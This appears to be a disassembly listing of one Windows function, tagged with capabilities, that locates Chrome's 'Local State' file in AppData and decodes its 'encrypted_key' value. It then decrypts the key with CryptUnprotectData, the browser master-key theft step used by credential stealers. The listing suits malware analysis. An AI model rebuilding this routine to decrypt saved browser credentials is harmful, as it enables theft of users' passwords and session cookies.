Function at 0x401110
Capabilities:
Check if file exists
Decode data using base64 via winapi
Encrypt data using dpapi
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1074
call fcn.004c2cd0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x1074], edx
xorps xmm0, xmm0
mov dword [ebp - 0x1060], 0
lea eax, [ebp - 0x1048]
movlpd qword [ebp - 0x1050], xmm0
movlpd qword [ebp - 0x1058], xmm0
push ebx
push esi
push edi
movups xmmword [ebp - 0x1070], xmm0
test ecx, ecx
jne 0x40118e
push ecx
push 0x1a
push eax
push ecx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x4011c7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_find_app_data_folder:0x_X
push 1
call fcn.00408d60
mov ebx, dword [ebp - 0x106c]
add esp, 0xc
jmp 0x401485
push ecx
push str._sAppDataRoaming
push 0x820
push eax
call fcn.004010a0
add esp, 0x10
test eax, eax
jns 0x4011c7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_set_the_full_path_to_remote_profile:0x_X
push 1
call fcn.00408d60
mov ebx, dword [ebp - 0x106c]
add esp, 0xc
jmp 0x401485
lea eax, [ebp - 0x1048]
push eax
push str._sGoogleChromeUser_DataLocal_State
lea eax, [ebp - 0x828]
push 0x820
push eax
call fcn.004010a0
add esp, 0x10
test eax, eax
jns 0x40120c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_find_state_file_on_remote_profile:0x_X
push 1
call fcn.00408d60
mov ebx, dword [ebp - 0x106c]
add esp, 0xc
jmp 0x401485
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea eax, [ebp - 0x828]
push eax
call esi
cmp eax, 0xffffffff
jne 0x40129b
lea eax, [ebp - 0x1048]
push eax
push str._s..LocalGoogleChromeUser_DataLocal_State
lea eax, [ebp - 0x828]
push 0x820
push eax
call fcn.004010a0
add esp, 0x10
test eax, eax
jns 0x401265
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_find_state_file_on_local_profile:0x_X
push 1
call fcn.00408d60
mov ebx, dword [ebp - 0x106c]
add esp, 0xc
jmp 0x401485
lea eax, [ebp - 0x828]
push eax
call esi
cmp eax, 0xffffffff
jne 0x40129b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x828]
push eax
push str.Error_finding_the_state_file__s__error:0x_X
push 1
call fcn.00408d60
mov ebx, dword [ebp - 0x106c]
add esp, 0x10
jmp 0x401485
lea edx, [ebp - 0x1070]
lea ecx, [ebp - 0x828]
call fcn.004080a0
test eax, eax
jne 0x4012d8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x828]
push eax
push str.Error_reading__s__error:0x_X
push 1
call fcn.00408d60
mov ebx, dword [ebp - 0x106c]
add esp, 0x10
jmp 0x401485
mov ebx, dword [ebp - 0x106c]
mov esi, ebx
test esi, esi
je 0x401336
nop dword [eax]
nop dword [eax + eax]
mov edi, dword [esi]
mov eax, str.encrypted_key
mov dword [ebp - 0x105c], edi
mov ecx, dword [edi]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401326
test dx, dx
je 0x401322
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401326
add eax, 4
add ecx, 4
test dx, dx
jne 0x401300
xor eax, eax
jmp 0x40132b
sbb eax, eax
or eax, 1
test eax, eax
je 0x401394
mov esi, dword [esi + 8]
test esi, esi
jne 0x4012f0
push dword [ebp - 0x1074]
mov eax, dword [ebp - 0x1050]
push 0
add eax, 0xfffffffb
push 0
mov dword [ebp - 0x1058], eax
mov eax, dword [ebp - 0x104c]
push 0
add eax, 5
push 0
mov dword [ebp - 0x1054], eax
lea eax, [ebp - 0x1058]
push 0
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x40147b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_decrypting_key:0x_X
push 1
call fcn.00408d60
add esp, 0xc
jmp 0x401485
mov edx, dword [edi + 8]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4013a0
mov edi, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
lea eax, [ebp - 0x1050]
push 0
push 0
push eax
push 0
push 6
sub ecx, esi
push ecx
push edx
call edi
mov eax, dword [ebp - 0x1050]
test eax, eax
jne 0x4013ee
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x828]
push eax
push str.Error_initiating_decoding_string_from__s__error:0x_X
push 1
call fcn.00408d60
add esp, 0x10
jmp 0x401485
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
inc dword [0x4de7b4]
mov edx, eax
mov dword [ebp - 0x104c], edx
test edx, edx
jne 0x401421
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_allocating_buffer:0x_X
push 1
call fcn.00408d60
add esp, 0xc
jmp 0x401485
mov esi, dword [ebp - 0x105c]
mov esi, dword [esi + 8]
mov ecx, esi
lea eax, [ecx + 1]
mov dword [ebp - 0x105c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401435
sub ecx, dword [ebp - 0x105c]
lea eax, [ebp - 0x1050]
push 0
push 0
push eax
push edx
push 6
push ecx
push esi
call edi
test eax, eax
jne 0x401336
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x828]
push eax
push str.Error_decoding_string_from__s__error:0x_X
push 1
call fcn.00408d60
add esp, 0x10
jmp 0x401485
mov dword [ebp - 0x1060], 1
mov edi, dword [ebp - 0x1068]
mov ecx, edi
mov edx, dword [ebp - 0x1064]
mov esi, dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebp - 0x105c], ecx
test ecx, ecx
je 0x4014da
mov esi, dword [edi + 4]
mov ecx, edi
mov dword [ebp - 0x105c], ecx
test esi, esi
je 0x401590
mov eax, ebx
test eax, eax
je 0x4014cb
nop dword [eax]
cmp esi, eax
je 0x401509
mov eax, dword [eax + 8]
test eax, eax
jne 0x4014c0
push str.Entry_not_found_in_the_list
push 2
call fcn.00408d60
add esp, 8
mov ecx, dword [ebp - 0x104c]
test ecx, ecx
je 0x4014f2
mov eax, dword [sym.imp.KERNEL32.dll_LocalFree]
push ecx
call eax
dec dword [0x4de7b4]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x1060]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.004ac4d4
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x401516
mov eax, dword [esi + 8]
mov dword [ecx + 8], eax
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x401523
mov eax, dword [esi + 4]
mov dword [ecx + 4], eax
cmp ebx, esi
jne 0x40152a
mov ebx, dword [esi + 8]
cmp edi, esi
jne 0x401531
mov edi, dword [esi + 4]
mov eax, dword [esi]
test eax, eax
je 0x401569
push eax
test edx, edx
je 0x401556
call edx
add esp, 4
test eax, eax
jne 0x401569
push str.Cannot_free_element_value_memory_using_callback
push 2
call fcn.00408d60
add esp, 8
jmp 0x401569
mov eax, dword [sym.imp.KERNEL32.dll_LocalFree]
call eax
dec dword [0x4de7b4]
mov dword [esi], 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LocalFree]
call esi
dec dword [0x4de7b4]
mov edx, dword [ebp - 0x1064]
test edi, edi
jne 0x4014a3
mov ecx, edi
mov dword [ebp - 0x105c], ecx
jmp 0x401596
mov esi, dword [sym.imp.KERNEL32.dll_LocalFree]
test ecx, ecx
je 0x4014da
test ebx, ebx
je 0x4014cb
cmp edi, ebx
je 0x4015b6
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4015a6
jmp 0x4014cb
mov edx, dword [ecx + 4]
test edx, edx
je 0x4015c3
mov eax, dword [ecx + 8]
mov dword [edx + 8], eax
mov edx, dword [ecx + 8]
test edx, edx
je 0x4015d0
mov eax, dword [ecx + 4]
mov dword [edx + 4], eax
mov eax, dword [ecx]
test eax, eax
je 0x4015ff
mov ecx, dword [ebp - 0x1064]
push eax
test ecx, ecx
je 0x40160d
call ecx
add esp, 4
test eax, eax
jne 0x4015f9
push str.Cannot_free_element_value_memory_using_callback
push 2
call fcn.00408d60
add esp, 8
mov ecx, dword [ebp - 0x105c]
push ecx
call esi
dec dword [0x4de7b4]
jmp 0x4014da
call esi
mov ecx, dword [ebp - 0x105c]
dec dword [0x4de7b4]
push ecx
mov dword [ecx], 0
call esi
dec dword [0x4de7b4]
jmp 0x4014da